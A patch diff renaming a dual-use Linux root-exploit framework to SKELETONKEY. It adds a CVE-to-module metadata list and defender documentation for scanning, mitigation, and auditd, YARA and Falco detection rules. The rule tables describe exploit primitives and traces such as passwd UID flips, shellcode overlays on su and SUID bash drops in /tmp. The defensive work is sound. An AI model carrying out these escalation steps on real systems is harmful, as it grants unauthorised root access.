3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
|
||||
4. Implement `module.c` exposing the `iamroot_module` interface
|
||||
4. Implement `module.c` exposing the `skeletonkey_module` interface
|
||||
5. Ship at least one detection rule under `detect/`
|
||||
6. Add tests under `tests/`
|
||||
7. PR. CI runs the matrix. If it lands root on at least one
|
||||
|
||||
@@ -0,0 +1,236 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
+34
-34
@@ -1,25 +1,25 @@
|
||||
# IAMROOT for defenders
|
||||
# SKELETONKEY for defenders
|
||||
|
||||
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
||||
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
|
||||
detection rules to spot them. This document is for the blue team.
|
||||
|
||||
## TL;DR
|
||||
|
||||
```bash
|
||||
# 1. Detect what you're vulnerable to (no system modification)
|
||||
sudo iamroot --scan --json | jq .
|
||||
sudo skeletonkey --scan --json | jq .
|
||||
|
||||
# 2. Deploy detection rules covering every bundled CVE
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo systemctl restart auditd
|
||||
|
||||
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
|
||||
# 4. Watch
|
||||
sudo ausearch -k iamroot-copy-fail -ts recent
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
||||
sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts recent
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts recent
|
||||
```
|
||||
|
||||
## Why a single tool for offense and defense
|
||||
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
Public LPE PoCs ship without detection rules. Public detection rules
|
||||
ship without test corpora. The gap means defenders deploy rules they
|
||||
never validate against a real exploit, and attackers iterate against
|
||||
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
|
||||
|
||||
- Each module ships an exploit AND the detection rules that catch it.
|
||||
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
### Inventory what's bundled
|
||||
|
||||
```bash
|
||||
iamroot --list
|
||||
skeletonkey --list
|
||||
```
|
||||
|
||||
Prints every registered module with CVE, family, and one-line summary.
|
||||
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
|
||||
### Run all detectors
|
||||
|
||||
```bash
|
||||
iamroot --scan # human-readable
|
||||
iamroot --scan --json # one JSON object → SIEM ingest
|
||||
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
skeletonkey --scan # human-readable
|
||||
skeletonkey --scan --json # one JSON object → SIEM ingest
|
||||
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
```
|
||||
|
||||
Result codes per module:
|
||||
@@ -63,23 +63,23 @@ Result codes per module:
|
||||
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||
|
||||
`iamroot --scan` returns the WORST result code across all modules.
|
||||
`skeletonkey --scan` returns the WORST result code across all modules.
|
||||
Use this in CI to fail builds that produce vulnerable images.
|
||||
|
||||
### Deploy detection rules
|
||||
|
||||
```bash
|
||||
# auditd (most environments)
|
||||
sudo iamroot --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load # or systemctl restart auditd
|
||||
|
||||
# Sigma (for SIEMs that ingest sigma)
|
||||
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
|
||||
|
||||
# YARA / Falco — placeholders for future modules; currently empty
|
||||
iamroot --detect-rules --format=yara
|
||||
iamroot --detect-rules --format=falco
|
||||
skeletonkey --detect-rules --format=yara
|
||||
skeletonkey --detect-rules --format=falco
|
||||
```
|
||||
|
||||
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||
@@ -91,19 +91,19 @@ auditd config).
|
||||
|
||||
| Key | Modules | What it catches |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
||||
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
|
||||
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
|
||||
Search:
|
||||
|
||||
```bash
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
```
|
||||
|
||||
### Mitigate (pre-patch)
|
||||
@@ -114,10 +114,10 @@ distro-portable workarounds:
|
||||
```bash
|
||||
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||
sudo iamroot --mitigate copy_fail
|
||||
sudo skeletonkey --mitigate copy_fail
|
||||
|
||||
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||
sudo iamroot --cleanup copy_fail
|
||||
sudo skeletonkey --cleanup copy_fail
|
||||
```
|
||||
|
||||
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
|
||||
```bash
|
||||
# scan a host list via ssh
|
||||
for h in $(cat fleet.txt); do
|
||||
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
done | jq -s . > fleet-scan-$(date +%F).json
|
||||
|
||||
# group by vulnerability
|
||||
@@ -148,9 +148,9 @@ modification.
|
||||
|
||||
| Rule | False-positive shape |
|
||||
|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
|
||||
The shipped rules are starting points. Tune per environment.
|
||||
|
||||
|
||||
+218
-53
@@ -1,6 +1,6 @@
|
||||
# IAMROOT detection playbook
|
||||
# SKELETONKEY detection playbook
|
||||
|
||||
Operational guide for blue teams using IAMROOT defensively. Pairs
|
||||
Operational guide for blue teams using SKELETONKEY defensively. Pairs
|
||||
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
||||
make it part of your daily ops" guide.
|
||||
|
||||
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
|
||||
|
||||
```
|
||||
┌─────────────┐
|
||||
│ inventory │ ← iamroot --list (what's bundled?)
|
||||
│ inventory │ ← skeletonkey --list (what's bundled?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
|
||||
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
|
||||
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌────────────┼────────────┐
|
||||
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
|
||||
└────────────┼────────────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
|
||||
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
|
||||
└─────────────┘
|
||||
```
|
||||
|
||||
@@ -39,17 +39,28 @@ make it part of your daily ops" guide.
|
||||
|
||||
```bash
|
||||
# Daily/weekly hygiene check
|
||||
sudo iamroot --scan
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo iamroot --mitigate copy_fail # or whichever module fired
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/iamroot-fleet-scan.sh`:
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
|
||||
```bash
|
||||
# Hosts list — one per line; user@host:port supported
|
||||
@@ -61,8 +72,8 @@ ops@db-01:2222
|
||||
EOF
|
||||
|
||||
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
||||
./iamroot-fleet-scan.sh \
|
||||
--binary ./iamroot \
|
||||
./skeletonkey-fleet-scan.sh \
|
||||
--binary ./skeletonkey \
|
||||
--ssh-key ~/.ssh/ops_key \
|
||||
--parallel 8 \
|
||||
hosts.txt > fleet-scan-$(date +%F).json
|
||||
@@ -95,7 +106,7 @@ Output shape:
|
||||
|
||||
### Larger fleet (>100 hosts)
|
||||
|
||||
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
fleets too large for SSH-fan-out, wrap it in your config-management
|
||||
tool of choice:
|
||||
|
||||
@@ -108,22 +119,22 @@ tool of choice:
|
||||
Sample Ansible task:
|
||||
|
||||
```yaml
|
||||
- name: scan with iamroot
|
||||
- name: scan with skeletonkey
|
||||
copy:
|
||||
src: iamroot
|
||||
dest: /tmp/iamroot
|
||||
src: skeletonkey
|
||||
dest: /tmp/skeletonkey
|
||||
mode: '0755'
|
||||
- name: run --scan --json
|
||||
command: /tmp/iamroot --scan --json --no-color
|
||||
command: /tmp/skeletonkey --scan --json --no-color
|
||||
register: scan
|
||||
changed_when: false
|
||||
failed_when: false # iamroot exit codes are semantic, not errors
|
||||
failed_when: false # skeletonkey exit codes are semantic, not errors
|
||||
- name: collect
|
||||
set_fact:
|
||||
iamroot_scan: "{{ scan.stdout | from_json }}"
|
||||
skeletonkey_scan: "{{ scan.stdout | from_json }}"
|
||||
- name: cleanup
|
||||
file:
|
||||
path: /tmp/iamroot
|
||||
path: /tmp/skeletonkey
|
||||
state: absent
|
||||
```
|
||||
|
||||
@@ -133,46 +144,110 @@ Sample Ansible task:
|
||||
|
||||
```
|
||||
# splunk input config (inputs.conf)
|
||||
[script:///opt/iamroot/iamroot-cron-scan.sh]
|
||||
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
|
||||
interval = 86400
|
||||
source = iamroot
|
||||
sourcetype = iamroot:scan
|
||||
source = skeletonkey
|
||||
sourcetype = skeletonkey:scan
|
||||
```
|
||||
|
||||
`iamroot-cron-scan.sh`:
|
||||
`skeletonkey-cron-scan.sh`:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
/usr/local/bin/iamroot --scan --json --no-color
|
||||
/usr/local/bin/skeletonkey --scan --json --no-color
|
||||
```
|
||||
|
||||
Search the indexed events:
|
||||
|
||||
```spl
|
||||
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
|
||||
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
|
||||
| stats count by host modules{}.cve
|
||||
```
|
||||
|
||||
### Elastic / OpenSearch
|
||||
|
||||
Filebeat module reading the per-host scan JSON files (one per day),
|
||||
indexed into an `iamroot-*` index pattern. Standard Kibana
|
||||
indexed into an `skeletonkey-*` index pattern. Standard Kibana
|
||||
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
||||
|
||||
### Sigma → your platform
|
||||
|
||||
```bash
|
||||
# Ship Sigma rules into your platform
|
||||
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
||||
sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
|
||||
- Daily `iamroot --scan --json` from every host indexed
|
||||
- Daily `skeletonkey --scan --json` from every host indexed
|
||||
- Trend dashboard: count of VULNERABLE results by CVE over time
|
||||
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
||||
patched-mainline bugs, 24h for actively-exploited)
|
||||
@@ -181,22 +256,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
|
||||
### Auditd events from the embedded rules
|
||||
|
||||
After deploying `iamroot --detect-rules --format=auditd`:
|
||||
After deploying `skeletonkey --detect-rules --format=auditd`:
|
||||
|
||||
```bash
|
||||
# By module key
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k iamroot-nf-tables-userns -ts today
|
||||
sudo ausearch -k iamroot-overlayfs -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
|
||||
sudo ausearch -k skeletonkey-overlayfs -ts today
|
||||
|
||||
# Anything iamroot-tagged in the last hour
|
||||
sudo ausearch -k 'iamroot-*' -ts recent
|
||||
# Anything skeletonkey-tagged in the last hour
|
||||
sudo ausearch -k 'skeletonkey-*' -ts recent
|
||||
|
||||
# Forward to syslog (rsyslog example)
|
||||
# /etc/rsyslog.d/iamroot.conf:
|
||||
:msg, contains, "iamroot-" @@your-siem.example.com:514
|
||||
# /etc/rsyslog.d/skeletonkey.conf:
|
||||
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
|
||||
```
|
||||
|
||||
### When a VULNERABLE result fires
|
||||
@@ -208,11 +283,11 @@ A scan reports VULNERABLE for module X
|
||||
│
|
||||
├── Q: Can I patch the underlying kernel / package?
|
||||
│ ├── YES → schedule patch window. In the meantime:
|
||||
│ │ iamroot --mitigate X (if supported)
|
||||
│ │ skeletonkey --mitigate X (if supported)
|
||||
│ │ Verify auditd rule for X is loaded.
|
||||
│ │ Monitor for the rule key.
|
||||
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
||||
│ iamroot --mitigate X (essential)
|
||||
│ skeletonkey --mitigate X (essential)
|
||||
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
||||
│ Document in risk register
|
||||
│
|
||||
@@ -238,22 +313,112 @@ If you applied a mitigation and now need to revert (e.g., the kernel
|
||||
patch has rolled out fleet-wide):
|
||||
|
||||
```bash
|
||||
sudo iamroot --cleanup copy_fail
|
||||
sudo skeletonkey --cleanup copy_fail
|
||||
